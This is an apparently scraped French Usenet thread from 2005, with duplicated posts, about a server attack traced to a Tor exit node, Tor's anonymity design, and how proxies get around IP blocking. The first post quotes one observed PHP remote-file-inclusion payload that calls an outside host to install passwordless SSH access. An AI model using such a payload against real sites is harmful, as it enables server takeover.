récemment, une personne sans doute mal intentionnée a cherché à attaquer
un serveur web que j'administre. (Serveur sous Linux, bien à jour,
firewallé et tout ce qui s'en suit).
Les attaques vers les serveurs internet sont choses courantes, j'en
enregistre (vive Snort) plus de mille par jour, souvent de simples scans
nmap ou des attaques de machines infestées par des vers, et cetera. Rien
d'alarmant en somme.
Cette fois l'attaque en question a consisté à faire un full scan des
ports ouverts, de quelques tests de vulnérabilité sur les ports smtp,
dns, pop et http, et enfin, d'une tentative d'injection de code PHP sur
une des pages, du genre passage de paramètres comme :
popup.php?page=http://scriptkiddieland.com/install_passwordless_ssh.txt
Cela signifie je pense que l'attaquant en question connaissait le site
web qu'héberge ce serveur (ou s'y est vraiment interessé de près) et n'a
pas juste attaqué une IP au hasard.
Habituellement, quand je remarque une telle attaque, je regarde la
localisation de l'ip et la compare avec celles de mes bases de données,
pour essayer d'identifier la personne mal intentionnée et éventuellement
lui remonter les bretelles si je dispose de son mail, etc.
Cette fois, l'ip correspondait à un serveur hébergé à l'université
d'Harvard, en me rendant sur le site j'ai pu facilement trouver l'email
de l'admin de la machine, et lui ai demandé poliment de vérifier que sa
machine n'était pas trouée et de faire le nécessaire pour que l'on
n'attaque plus mon serveur à partir de son IP.
Sa réponse ne manque pas d'éloquance, il m'explique qu'il ne peut pas me
donner l'identité de l'attaquant ni même une IP, pour la simple raison
que sa machine est un noeud 'exit' d'un réseau TOR, qui est apparemment
un anonymiseur TCP qui sert justement à empecher que l'on remonte à
l'IP d'origine d'une connexion. sic .
Voilà, désolé pour le résumé un peu long, voici les questions que je me
pose :
- Est il vraiment utile de garder les IPs utilisées lors des
attaques "sérieuses" que subit un serveur, ou est ce complètement vain
- Au cas où une attaque réussirait et qu'un serveur serait
rootkité puis utilisé à des fins peu louables, l'adresse IP du hacker
peut elle m'être utile pour espérer un dedomagement
- Ce réseau d'anonymiseur TOR , c'est le système rêvé pour
attaquer n'importe qui en toute impunité et avec les pires vilainies qui
soient non? C'est légal?
- Si une attaque à partir de ce réseau TOR fini par faire tomber
un serveur, qui dois-je considérer comme responsable ?
Cedric Blancher nous disait récement dans fr.comp.securite <news: :
Personnellement, je trouve qu'on prend, sur la plan purement juridique, pas mal de risque à héberger des noeuds de sortie de systèmes anonymisant efficaces (TOR, Mixmaster, etc.).
Il y a quelque chose que je ne comprends pas dans le schéma du réseau TOR. Ils indiquent que le chemin au sein du réseau est choisi aléatoirement, mais apparament ce choix ne se fait qu'à la connexion physique au réseau, ou tout du moins le noeud de sortie est le même tout du long de cette connexion, puisque J1 a pu isoler l'adresse IP en cause. Où est la "protection against 'traffic analysis'" présentée sur le site ? Certe c'est une question de malchance, mais il n'y a rien qui puisse garantir que l'admin du noeud de sortie n'en profite pas pour sniffer tout ce qui passe par lui. Ce qui est d'autant plus tentant que l'on sait qu'il y a des chances pour récupérer des informations sensibles.
-- "En amour, on plaît plutôt par d'agréables défauts que par des qualités essentielles ; les grandes vertus sont des pièces d'or, dont on fait moins usage que de la monnaie" Ninon de Lenclos
Cedric Blancher nous disait récement dans fr.comp.securite
<news:pan.2005.03.14.11.53.28.743044@cartel-securite.fr> :
Personnellement, je trouve qu'on prend, sur la plan purement
juridique, pas mal de risque à héberger des noeuds de sortie de
systèmes anonymisant efficaces (TOR, Mixmaster, etc.).
Il y a quelque chose que je ne comprends pas dans le schéma du réseau
TOR. Ils indiquent que le chemin au sein du réseau est choisi
aléatoirement, mais apparament ce choix ne se fait qu'à la connexion
physique au réseau, ou tout du moins le noeud de sortie est le même
tout du long de cette connexion, puisque J1 a pu isoler l'adresse IP en
cause.
Où est la "protection against 'traffic analysis'" présentée sur le
site ? Certe c'est une question de malchance, mais il n'y a rien qui
puisse garantir que l'admin du noeud de sortie n'en profite pas pour
sniffer tout ce qui passe par lui. Ce qui est d'autant plus tentant que
l'on sait qu'il y a des chances pour récupérer des informations
sensibles.
--
"En amour, on plaît plutôt par d'agréables défauts que par des qualités
essentielles ; les grandes vertus sont des pièces d'or, dont on fait
moins usage que de la monnaie"
Ninon de Lenclos
Cedric Blancher nous disait récement dans fr.comp.securite <news: :
Personnellement, je trouve qu'on prend, sur la plan purement juridique, pas mal de risque à héberger des noeuds de sortie de systèmes anonymisant efficaces (TOR, Mixmaster, etc.).
Il y a quelque chose que je ne comprends pas dans le schéma du réseau TOR. Ils indiquent que le chemin au sein du réseau est choisi aléatoirement, mais apparament ce choix ne se fait qu'à la connexion physique au réseau, ou tout du moins le noeud de sortie est le même tout du long de cette connexion, puisque J1 a pu isoler l'adresse IP en cause. Où est la "protection against 'traffic analysis'" présentée sur le site ? Certe c'est une question de malchance, mais il n'y a rien qui puisse garantir que l'admin du noeud de sortie n'en profite pas pour sniffer tout ce qui passe par lui. Ce qui est d'autant plus tentant que l'on sait qu'il y a des chances pour récupérer des informations sensibles.
-- "En amour, on plaît plutôt par d'agréables défauts que par des qualités essentielles ; les grandes vertus sont des pièces d'or, dont on fait moins usage que de la monnaie" Ninon de Lenclos
Cedric Blancher
Le Mon, 14 Mar 2005 19:53:36 +0000, Stephane Catteau a écrit :
Il y a quelque chose que je ne comprends pas dans le schéma du réseau TOR.
<pub éhontée> Achète le dernier MISC </pub éhontée>
Ils indiquent que le chemin au sein du réseau est choisi aléatoirement, mais apparament ce choix ne se fait qu'à la connexion physique au réseau, ou tout du moins le noeud de sortie est le même tout du long de cette connexion, puisque J1 a pu isoler l'adresse IP en cause.
Pour une connexion donnée, tu utiliseras le même noeud de sortie. C'est normal, si je t"envoies un SYN avec un noeud A et le ACK en réponse à ton SYN-ACK avec un noeud B, ta pile IP va avoir du mal à s'en sortir. De fait, pour chaque connexion que tu établis, tu as un circuit qui est ouvert au sein du nuage TOR et qui sera utilisé jusqu'à la mort de cette connexion. Par contre, chaque nouvelle connexion dispose d'un nouveau chemin.
Où est la "protection against 'traffic analysis'" présentée sur le site ? Certe c'est une question de malchance, mais il n'y a rien qui puisse garantir que l'admin du noeud de sortie n'en profite pas pour sniffer tout ce qui passe par lui. Ce qui est d'autant plus tentant que l'on sait qu'il y a des chances pour récupérer des informations sensibles.
Le but de TOR n'est pas d'empêcher les gens de regarder ce qu'il y a dans le flux lorsqu'il entre ou sort du nuage TOR ; cette fonction est à déleguer à un système de chiffrement de flux type IPSEC, SSL, etc. Le nuage TOR a pour but d'anonymiser la connexion, donc de rendre impossible le traçage d'une (ou des) partie(s) par analyse de trafic. L'admin du noeud de sortie sera certes capable de regarder ce qui sort de son noeud (et d'en trouver le destinataire in fine) mais pas de savoir qui est l'émetteur du flux en question. En fait, tout le chiffrement mis en place au sein de TOR sert à la protection de l'anonymat, pas de la confidentialité des données.
C'est aussi le cas de Mixmaster en ce qui concerne le mail.
-- BOFH excuse #323:
Your processor has processed too many instructions. Turn it off immediately, do not type any commands!!
Le Mon, 14 Mar 2005 19:53:36 +0000, Stephane Catteau a écrit :
Il y a quelque chose que je ne comprends pas dans le schéma du réseau
TOR.
<pub éhontée>
Achète le dernier MISC
</pub éhontée>
Ils indiquent que le chemin au sein du réseau est choisi
aléatoirement, mais apparament ce choix ne se fait qu'à la connexion
physique au réseau, ou tout du moins le noeud de sortie est le même
tout du long de cette connexion, puisque J1 a pu isoler l'adresse IP en
cause.
Pour une connexion donnée, tu utiliseras le même noeud de sortie. C'est
normal, si je t"envoies un SYN avec un noeud A et le ACK en réponse à
ton SYN-ACK avec un noeud B, ta pile IP va avoir du mal à s'en sortir. De
fait, pour chaque connexion que tu établis, tu as un circuit qui est
ouvert au sein du nuage TOR et qui sera utilisé jusqu'à la mort de cette
connexion.
Par contre, chaque nouvelle connexion dispose d'un nouveau chemin.
Où est la "protection against 'traffic analysis'" présentée sur le
site ? Certe c'est une question de malchance, mais il n'y a rien qui
puisse garantir que l'admin du noeud de sortie n'en profite pas pour
sniffer tout ce qui passe par lui. Ce qui est d'autant plus tentant que
l'on sait qu'il y a des chances pour récupérer des informations
sensibles.
Le but de TOR n'est pas d'empêcher les gens de regarder ce qu'il y a dans
le flux lorsqu'il entre ou sort du nuage TOR ; cette fonction est à
déleguer à un système de chiffrement de flux type IPSEC, SSL, etc. Le
nuage TOR a pour but d'anonymiser la connexion, donc de rendre impossible
le traçage d'une (ou des) partie(s) par analyse de trafic. L'admin du
noeud de sortie sera certes capable de regarder ce qui sort de son noeud
(et d'en trouver le destinataire in fine) mais pas de savoir qui est
l'émetteur du flux en question. En fait, tout le chiffrement mis en place
au sein de TOR sert à la protection de l'anonymat, pas de la
confidentialité des données.
C'est aussi le cas de Mixmaster en ce qui concerne le mail.
--
BOFH excuse #323:
Your processor has processed too many instructions. Turn it off
immediately, do not type any commands!!
Le Mon, 14 Mar 2005 19:53:36 +0000, Stephane Catteau a écrit :
Il y a quelque chose que je ne comprends pas dans le schéma du réseau TOR.
<pub éhontée> Achète le dernier MISC </pub éhontée>
Ils indiquent que le chemin au sein du réseau est choisi aléatoirement, mais apparament ce choix ne se fait qu'à la connexion physique au réseau, ou tout du moins le noeud de sortie est le même tout du long de cette connexion, puisque J1 a pu isoler l'adresse IP en cause.
Pour une connexion donnée, tu utiliseras le même noeud de sortie. C'est normal, si je t"envoies un SYN avec un noeud A et le ACK en réponse à ton SYN-ACK avec un noeud B, ta pile IP va avoir du mal à s'en sortir. De fait, pour chaque connexion que tu établis, tu as un circuit qui est ouvert au sein du nuage TOR et qui sera utilisé jusqu'à la mort de cette connexion. Par contre, chaque nouvelle connexion dispose d'un nouveau chemin.
Où est la "protection against 'traffic analysis'" présentée sur le site ? Certe c'est une question de malchance, mais il n'y a rien qui puisse garantir que l'admin du noeud de sortie n'en profite pas pour sniffer tout ce qui passe par lui. Ce qui est d'autant plus tentant que l'on sait qu'il y a des chances pour récupérer des informations sensibles.
Le but de TOR n'est pas d'empêcher les gens de regarder ce qu'il y a dans le flux lorsqu'il entre ou sort du nuage TOR ; cette fonction est à déleguer à un système de chiffrement de flux type IPSEC, SSL, etc. Le nuage TOR a pour but d'anonymiser la connexion, donc de rendre impossible le traçage d'une (ou des) partie(s) par analyse de trafic. L'admin du noeud de sortie sera certes capable de regarder ce qui sort de son noeud (et d'en trouver le destinataire in fine) mais pas de savoir qui est l'émetteur du flux en question. En fait, tout le chiffrement mis en place au sein de TOR sert à la protection de l'anonymat, pas de la confidentialité des données.
C'est aussi le cas de Mixmaster en ce qui concerne le mail.
-- BOFH excuse #323:
Your processor has processed too many instructions. Turn it off immediately, do not type any commands!!
Soeur Anne
Dans le post :, Stephane Catteau nous a dit :
sniffer tout ce qui passe par lui. Ce qui est d'autant plus tentant que l'on sait qu'il y a des chances pour récupérer des informations sensibles.
Non, le projet TOR serait financé par "les grande'zoreilles" ?? c'est fou ça, on me dit rien à moi ;-)
-- Soeur Anne
Dans le post :d14tht.3vvrjip.1@sc4x.org,
Stephane Catteau <steph.nospam@sc4x.net> nous a dit :
sniffer tout ce qui passe par lui. Ce qui est d'autant plus tentant
que l'on sait qu'il y a des chances pour récupérer des informations
sensibles.
Non, le projet TOR serait financé par "les grande'zoreilles" ??
c'est fou ça, on me dit rien à moi ;-)
sniffer tout ce qui passe par lui. Ce qui est d'autant plus tentant que l'on sait qu'il y a des chances pour récupérer des informations sensibles.
Non, le projet TOR serait financé par "les grande'zoreilles" ?? c'est fou ça, on me dit rien à moi ;-)
-- Soeur Anne
Cedric Blancher
Le Tue, 15 Mar 2005 08:47:39 +0000, Soeur Anne a écrit :
Non, le projet TOR serait financé par "les grande'zoreilles" ??
À fond ! :) De toute manière, la structure même du réseau le rend assez résistant aux noeud compromis ; on doit pouvoir aller tranquille jusqu'à un bon tiers de noeud malicieux sans porter atteinte à la finalité du réseau. La distribution sous GPL permet en outre à qui le veut de vérifier l'absence de backdoor ou de faille douteuse.
c'est fou ça, on me dit rien à moi ;-)
C'est normal, les "grande'zoreilles" ne savent pas parler. D'ailleurs, elles n'existent pas :)
-- Si la connerie était cotée en bourse,tu serais incarcéré pour délit d'initié... -+- EB in: Guide du Cabaliste Usenet - Les initiés ont la cote -+-
Le Tue, 15 Mar 2005 08:47:39 +0000, Soeur Anne a écrit :
Non, le projet TOR serait financé par "les grande'zoreilles" ??
À fond ! :)
De toute manière, la structure même du réseau le rend assez résistant
aux noeud compromis ; on doit pouvoir aller tranquille jusqu'à un bon
tiers de noeud malicieux sans porter atteinte à la finalité du
réseau.
La distribution sous GPL permet en outre à qui le veut de vérifier
l'absence de backdoor ou de faille douteuse.
c'est fou ça, on me dit rien à moi ;-)
C'est normal, les "grande'zoreilles" ne savent pas parler. D'ailleurs,
elles n'existent pas :)
--
Si la connerie était cotée en bourse,tu serais incarcéré pour
délit d'initié...
-+- EB in: Guide du Cabaliste Usenet - Les initiés ont la cote -+-
Le Tue, 15 Mar 2005 08:47:39 +0000, Soeur Anne a écrit :
Non, le projet TOR serait financé par "les grande'zoreilles" ??
À fond ! :) De toute manière, la structure même du réseau le rend assez résistant aux noeud compromis ; on doit pouvoir aller tranquille jusqu'à un bon tiers de noeud malicieux sans porter atteinte à la finalité du réseau. La distribution sous GPL permet en outre à qui le veut de vérifier l'absence de backdoor ou de faille douteuse.
c'est fou ça, on me dit rien à moi ;-)
C'est normal, les "grande'zoreilles" ne savent pas parler. D'ailleurs, elles n'existent pas :)
-- Si la connerie était cotée en bourse,tu serais incarcéré pour délit d'initié... -+- EB in: Guide du Cabaliste Usenet - Les initiés ont la cote -+-
Fabien LE LEZ
On 14 Mar 2005 18:04:36 GMT, J1 :
et bon nombre de FAI proposent des proxies
Mais s'agit-il de proxies anonymisants ? L'adresse IP du client n'est-elle pas fournie au moment de la requête ?
-- ;-)
On 14 Mar 2005 18:04:36 GMT, J1 <ji1.NOJUNK@free.fr>:
et bon nombre de FAI proposent
des proxies
Mais s'agit-il de proxies anonymisants ? L'adresse IP du client
n'est-elle pas fournie au moment de la requête ?
Mais s'agit-il de proxies anonymisants ? L'adresse IP du client n'est-elle pas fournie au moment de la requête ?
-- ;-)
Cedric Blancher
Le Tue, 15 Mar 2005 09:11:37 +0000, Fabien LE LEZ a écrit :
et bon nombre de FAI proposent des proxies Mais s'agit-il de proxies anonymisants ? L'adresse IP du client
n'est-elle pas fournie au moment de la requête ?
Pour répondre aux deux questions, non et oui. Mais si tu te fais un ruleset Netfilter pour interdire les noeuds TOR, le passage par un de ces proxies permettra le contournement de ta protection, parce que ton filtre de paquet ne va pas voir la requête HTTP.
Du coup, tu vas devoir passer à un reverse proxy qui ira vérifier aussi le champ X-Forwarded-For ou équivalent, mais là encore, il suffira de chaîner deux proxies, ou un proxy et un traducteur en ligne pour que ce champ ne véhicule plus d'IP TOR.
-- Vire [] (com2 usb) [] probleme [] xpertplay [] resserve les adresse memoire [] reboot [] bios [] active [] windoz [] parametrage [] reservation de ressource [] reboot [] bios [] reset [] disable [] prie. -+- MK in Guide du linuxien pervers - "Solution à un problème Windows"
Le Tue, 15 Mar 2005 09:11:37 +0000, Fabien LE LEZ a écrit :
et bon nombre de FAI proposent des proxies
Mais s'agit-il de proxies anonymisants ? L'adresse IP du client
n'est-elle pas fournie au moment de la requête ?
Pour répondre aux deux questions, non et oui. Mais si tu te fais un
ruleset Netfilter pour interdire les noeuds TOR, le passage par un de ces
proxies permettra le contournement de ta protection, parce que ton filtre
de paquet ne va pas voir la requête HTTP.
Du coup, tu vas devoir passer à un reverse proxy qui ira vérifier aussi
le champ X-Forwarded-For ou équivalent, mais là encore, il suffira de
chaîner deux proxies, ou un proxy et un traducteur en ligne pour que ce
champ ne véhicule plus d'IP TOR.
--
Vire [] (com2 usb) [] probleme [] xpertplay [] resserve les adresse
memoire [] reboot [] bios [] active [] windoz [] parametrage []
reservation de ressource [] reboot [] bios [] reset [] disable [] prie.
-+- MK in Guide du linuxien pervers - "Solution à un problème Windows"
Le Tue, 15 Mar 2005 09:11:37 +0000, Fabien LE LEZ a écrit :
et bon nombre de FAI proposent des proxies Mais s'agit-il de proxies anonymisants ? L'adresse IP du client
n'est-elle pas fournie au moment de la requête ?
Pour répondre aux deux questions, non et oui. Mais si tu te fais un ruleset Netfilter pour interdire les noeuds TOR, le passage par un de ces proxies permettra le contournement de ta protection, parce que ton filtre de paquet ne va pas voir la requête HTTP.
Du coup, tu vas devoir passer à un reverse proxy qui ira vérifier aussi le champ X-Forwarded-For ou équivalent, mais là encore, il suffira de chaîner deux proxies, ou un proxy et un traducteur en ligne pour que ce champ ne véhicule plus d'IP TOR.
-- Vire [] (com2 usb) [] probleme [] xpertplay [] resserve les adresse memoire [] reboot [] bios [] active [] windoz [] parametrage [] reservation de ressource [] reboot [] bios [] reset [] disable [] prie. -+- MK in Guide du linuxien pervers - "Solution à un problème Windows"
Fabien LE LEZ
On 15 Mar 2005 09:16:17 GMT, Cedric Blancher :
et bon nombre de FAI proposent des proxies Mais s'agit-il de proxies anonymisants ? L'adresse IP du client
n'est-elle pas fournie au moment de la requête ?
Pour répondre aux deux questions, non et oui. Mais si tu te fais un ruleset Netfilter pour interdire les noeuds TOR, le passage par un de ces proxies permettra le contournement de ta protection, parce que ton filtre de paquet ne va pas voir la requête HTTP.
Si j'ai bien compris, le cheminement que tu décris ici serait
pirate -> TOR -> proxy FAI -> mon serveur
Mais logiquement, le proxy du FAI ne doit pas accepter de connexion d'une adresse IP d'un noeud TOR, puisqu'elle n'appartient pas à un de ses clients. Ou j'ai encore loupé quelque chose ?
En gros, il me semble que quand je reçois une requête : - si elle provient d'un "proxy ouvert" à la TOR, je peux la refuser sans problème (au niveau du firewall par exemple) ; - si elle provient d'un "proxy de FAI", j'ai la garantie que la machine qui fait la requête via le proxy est la machine personnelle d'un client du FAI en question, et je peux enregistrer l'adresse IP du client (i.e. du pirate potentiel) ; - sinon, c'est une connexion "directe" sans proxy, donc tout va bien.
-- ;-)
On 15 Mar 2005 09:16:17 GMT, Cedric Blancher
<blancher@cartel-securite.fr>:
et bon nombre de FAI proposent des proxies
Mais s'agit-il de proxies anonymisants ? L'adresse IP du client
n'est-elle pas fournie au moment de la requête ?
Pour répondre aux deux questions, non et oui. Mais si tu te fais un
ruleset Netfilter pour interdire les noeuds TOR, le passage par un de ces
proxies permettra le contournement de ta protection, parce que ton filtre
de paquet ne va pas voir la requête HTTP.
Si j'ai bien compris, le cheminement que tu décris ici serait
pirate -> TOR -> proxy FAI -> mon serveur
Mais logiquement, le proxy du FAI ne doit pas accepter de connexion
d'une adresse IP d'un noeud TOR, puisqu'elle n'appartient pas à un de
ses clients. Ou j'ai encore loupé quelque chose ?
En gros, il me semble que quand je reçois une requête :
- si elle provient d'un "proxy ouvert" à la TOR, je peux la
refuser sans problème (au niveau du firewall par exemple) ;
- si elle provient d'un "proxy de FAI", j'ai la garantie que la
machine qui fait la requête via le proxy est la machine personnelle
d'un client du FAI en question, et je peux enregistrer l'adresse IP du
client (i.e. du pirate potentiel) ;
- sinon, c'est une connexion "directe" sans proxy, donc tout va
bien.
et bon nombre de FAI proposent des proxies Mais s'agit-il de proxies anonymisants ? L'adresse IP du client
n'est-elle pas fournie au moment de la requête ?
Pour répondre aux deux questions, non et oui. Mais si tu te fais un ruleset Netfilter pour interdire les noeuds TOR, le passage par un de ces proxies permettra le contournement de ta protection, parce que ton filtre de paquet ne va pas voir la requête HTTP.
Si j'ai bien compris, le cheminement que tu décris ici serait
pirate -> TOR -> proxy FAI -> mon serveur
Mais logiquement, le proxy du FAI ne doit pas accepter de connexion d'une adresse IP d'un noeud TOR, puisqu'elle n'appartient pas à un de ses clients. Ou j'ai encore loupé quelque chose ?
En gros, il me semble que quand je reçois une requête : - si elle provient d'un "proxy ouvert" à la TOR, je peux la refuser sans problème (au niveau du firewall par exemple) ; - si elle provient d'un "proxy de FAI", j'ai la garantie que la machine qui fait la requête via le proxy est la machine personnelle d'un client du FAI en question, et je peux enregistrer l'adresse IP du client (i.e. du pirate potentiel) ; - sinon, c'est une connexion "directe" sans proxy, donc tout va bien.
-- ;-)
Cedric Blancher
Le Tue, 15 Mar 2005 09:54:51 +0000, Fabien LE LEZ a écrit :
Mais logiquement, le proxy du FAI ne doit pas accepter de connexion d'une adresse IP d'un noeud TOR, puisqu'elle n'appartient pas à un de ses clients. Ou j'ai encore loupé quelque chose ?
s/Proxy FAI/Proxy tout court
On peut envisager aussi d'utiliser un proxy accessible par le noeud de sortie, mais c'est plus chaud (je ne sais plus si on peut choisir son noeud de sortie comme sur Mixmaster). Dans la mesure où ce noeud a un FAI...
-- Dans un premier temps, ayons l'esprit large et naviguons à la voile et à la vapeur. Si la promiscuité entre les deux communautés devient insupportable, il sera toujours temps d'organiser l'apartheid. -+- PM in: Guide du Cabaliste Usenet - Bien séparer les enfilades -+-
Le Tue, 15 Mar 2005 09:54:51 +0000, Fabien LE LEZ a écrit :
Mais logiquement, le proxy du FAI ne doit pas accepter de connexion
d'une adresse IP d'un noeud TOR, puisqu'elle n'appartient pas à un de
ses clients. Ou j'ai encore loupé quelque chose ?
s/Proxy FAI/Proxy tout court
On peut envisager aussi d'utiliser un proxy accessible par le noeud de
sortie, mais c'est plus chaud (je ne sais plus si on peut choisir son
noeud de sortie comme sur Mixmaster). Dans la mesure où ce noeud a un FAI...
--
Dans un premier temps, ayons l'esprit large et naviguons à la voile et
à la vapeur. Si la promiscuité entre les deux communautés devient
insupportable, il sera toujours temps d'organiser l'apartheid.
-+- PM in: Guide du Cabaliste Usenet - Bien séparer les enfilades -+-
Le Tue, 15 Mar 2005 09:54:51 +0000, Fabien LE LEZ a écrit :
Mais logiquement, le proxy du FAI ne doit pas accepter de connexion d'une adresse IP d'un noeud TOR, puisqu'elle n'appartient pas à un de ses clients. Ou j'ai encore loupé quelque chose ?
s/Proxy FAI/Proxy tout court
On peut envisager aussi d'utiliser un proxy accessible par le noeud de sortie, mais c'est plus chaud (je ne sais plus si on peut choisir son noeud de sortie comme sur Mixmaster). Dans la mesure où ce noeud a un FAI...
-- Dans un premier temps, ayons l'esprit large et naviguons à la voile et à la vapeur. Si la promiscuité entre les deux communautés devient insupportable, il sera toujours temps d'organiser l'apartheid. -+- PM in: Guide du Cabaliste Usenet - Bien séparer les enfilades -+-
J1
On 15 Mar 2005 09:16:17 GMT, Cedric Blancher :
et bon nombre de FAI proposent des proxies
Mais s'agit-il de proxies anonymisants ? L'adresse IP du client n'est-elle pas fournie au moment de la requête ?
Pour répondre aux deux questions, non et oui. Mais si tu te fais un ruleset Netfilter pour interdire les noeuds TOR, le passage par un de ces proxies permettra le contournement de ta protection, parce que ton filtre de paquet ne va pas voir la requête HTTP.
Si j'ai bien compris, le cheminement que tu décris ici serait
pirate -> TOR -> proxy FAI -> mon serveur
Mais logiquement, le proxy du FAI ne doit pas accepter de connexion d'une adresse IP d'un noeud TOR, puisqu'elle n'appartient pas à un de ses clients. Ou j'ai encore loupé quelque chose ?
Les proxies des FAI ne sont qu'un exemple parmi tant d'autres :
http://www.publicproxyservers.com
-- J1
On 15 Mar 2005 09:16:17 GMT, Cedric Blancher
<blancher@cartel-securite.fr>:
et bon nombre de FAI proposent des proxies
Mais s'agit-il de proxies anonymisants ? L'adresse IP du client
n'est-elle pas fournie au moment de la requête ?
Pour répondre aux deux questions, non et oui. Mais si tu te fais un
ruleset Netfilter pour interdire les noeuds TOR, le passage par un de ces
proxies permettra le contournement de ta protection, parce que ton filtre
de paquet ne va pas voir la requête HTTP.
Si j'ai bien compris, le cheminement que tu décris ici serait
pirate -> TOR -> proxy FAI -> mon serveur
Mais logiquement, le proxy du FAI ne doit pas accepter de connexion
d'une adresse IP d'un noeud TOR, puisqu'elle n'appartient pas à un de
ses clients. Ou j'ai encore loupé quelque chose ?
Les proxies des FAI ne sont qu'un exemple parmi tant d'autres :
Mais s'agit-il de proxies anonymisants ? L'adresse IP du client n'est-elle pas fournie au moment de la requête ?
Pour répondre aux deux questions, non et oui. Mais si tu te fais un ruleset Netfilter pour interdire les noeuds TOR, le passage par un de ces proxies permettra le contournement de ta protection, parce que ton filtre de paquet ne va pas voir la requête HTTP.
Si j'ai bien compris, le cheminement que tu décris ici serait
pirate -> TOR -> proxy FAI -> mon serveur
Mais logiquement, le proxy du FAI ne doit pas accepter de connexion d'une adresse IP d'un noeud TOR, puisqu'elle n'appartient pas à un de ses clients. Ou j'ai encore loupé quelque chose ?
Les proxies des FAI ne sont qu'un exemple parmi tant d'autres :
http://www.publicproxyservers.com
-- J1
Thomas
In article (Dans l'article) , Cedric Blancher wrote (écrivait) :
Le Tue, 15 Mar 2005 09:54:51 +0000, Fabien LE LEZ a écrit :
Mais logiquement, le proxy du FAI ne doit pas accepter de connexion d'une adresse IP d'un noeud TOR, puisqu'elle n'appartient pas à un de ses clients. Ou j'ai encore loupé quelque chose ?
s/Proxy FAI/Proxy tout court
d'apres ce que j'ai compris, il avait bien compris ca - il ne voulait pas bloquer tous les proxys because ca bloquerait trop d'inocents - il a remarqué que les proxys de FAI n'etaient pas accessibles par TOR
donc, est ce qu'on peut se permettre de bloquer tous les proxys sauf ceux des FAIs ? ou du moins, plus generalement, tous les proxys qui acceptent les TOR ? on bloquerait pas trop de monde ?
si oui, alors ca serait une bonne idée de maintenir à jour une liste de ces IPs, oui :-) non ?
On peut envisager aussi d'utiliser un proxy accessible par le noeud de sortie, mais c'est plus chaud (je ne sais plus si on peut choisir son noeud de sortie comme sur Mixmaster). Dans la mesure où ce noeud a un FAI...
j'ai pas compris
-- si je dors : wakeonlan -i tDeContes.hd.free.fr 00:03:93:AF:45:AE (seulement dans le 1/4 h où mon ordi est mis en veille, donc je vous invite à réclamer à free : l'acces à arp -s, ou la possibilité de rediriger le NAT sur l'adresse de broadcast :-) )
"don't put your PC out of the window, put windows out of your PC" "petit Free qui devient grand, gêne les requins blancs"
In article (Dans l'article)
<pan.2005.03.15.09.57.00.132725@cartel-securite.fr>,
Cedric Blancher <blancher@cartel-securite.fr> wrote (écrivait) :
Le Tue, 15 Mar 2005 09:54:51 +0000, Fabien LE LEZ a écrit :
Mais logiquement, le proxy du FAI ne doit pas accepter de connexion
d'une adresse IP d'un noeud TOR, puisqu'elle n'appartient pas à un de
ses clients. Ou j'ai encore loupé quelque chose ?
s/Proxy FAI/Proxy tout court
d'apres ce que j'ai compris, il avait bien compris ca
- il ne voulait pas bloquer tous les proxys because ca bloquerait trop
d'inocents
- il a remarqué que les proxys de FAI n'etaient pas accessibles par TOR
donc, est ce qu'on peut se permettre de bloquer tous les proxys sauf
ceux des FAIs ?
ou du moins, plus generalement, tous les proxys qui acceptent les TOR ?
on bloquerait pas trop de monde ?
si oui, alors ca serait une bonne idée de maintenir à jour une liste de
ces IPs, oui :-)
non ?
On peut envisager aussi d'utiliser un proxy accessible par le noeud de
sortie, mais c'est plus chaud (je ne sais plus si on peut choisir son
noeud de sortie comme sur Mixmaster). Dans la mesure où ce noeud a un FAI...
j'ai pas compris
--
si je dors : wakeonlan -i tDeContes.hd.free.fr 00:03:93:AF:45:AE
(seulement dans le 1/4 h où mon ordi est mis en veille,
donc je vous invite à réclamer à free : l'acces à arp -s,
ou la possibilité de rediriger le NAT sur l'adresse de broadcast :-) )
"don't put your PC out of the window, put windows out of your PC"
"petit Free qui devient grand, gêne les requins blancs"
In article (Dans l'article) , Cedric Blancher wrote (écrivait) :
Le Tue, 15 Mar 2005 09:54:51 +0000, Fabien LE LEZ a écrit :
Mais logiquement, le proxy du FAI ne doit pas accepter de connexion d'une adresse IP d'un noeud TOR, puisqu'elle n'appartient pas à un de ses clients. Ou j'ai encore loupé quelque chose ?
s/Proxy FAI/Proxy tout court
d'apres ce que j'ai compris, il avait bien compris ca - il ne voulait pas bloquer tous les proxys because ca bloquerait trop d'inocents - il a remarqué que les proxys de FAI n'etaient pas accessibles par TOR
donc, est ce qu'on peut se permettre de bloquer tous les proxys sauf ceux des FAIs ? ou du moins, plus generalement, tous les proxys qui acceptent les TOR ? on bloquerait pas trop de monde ?
si oui, alors ca serait une bonne idée de maintenir à jour une liste de ces IPs, oui :-) non ?
On peut envisager aussi d'utiliser un proxy accessible par le noeud de sortie, mais c'est plus chaud (je ne sais plus si on peut choisir son noeud de sortie comme sur Mixmaster). Dans la mesure où ce noeud a un FAI...
j'ai pas compris
-- si je dors : wakeonlan -i tDeContes.hd.free.fr 00:03:93:AF:45:AE (seulement dans le 1/4 h où mon ordi est mis en veille, donc je vous invite à réclamer à free : l'acces à arp -s, ou la possibilité de rediriger le NAT sur l'adresse de broadcast :-) )
"don't put your PC out of the window, put windows out of your PC" "petit Free qui devient grand, gêne les requins blancs"
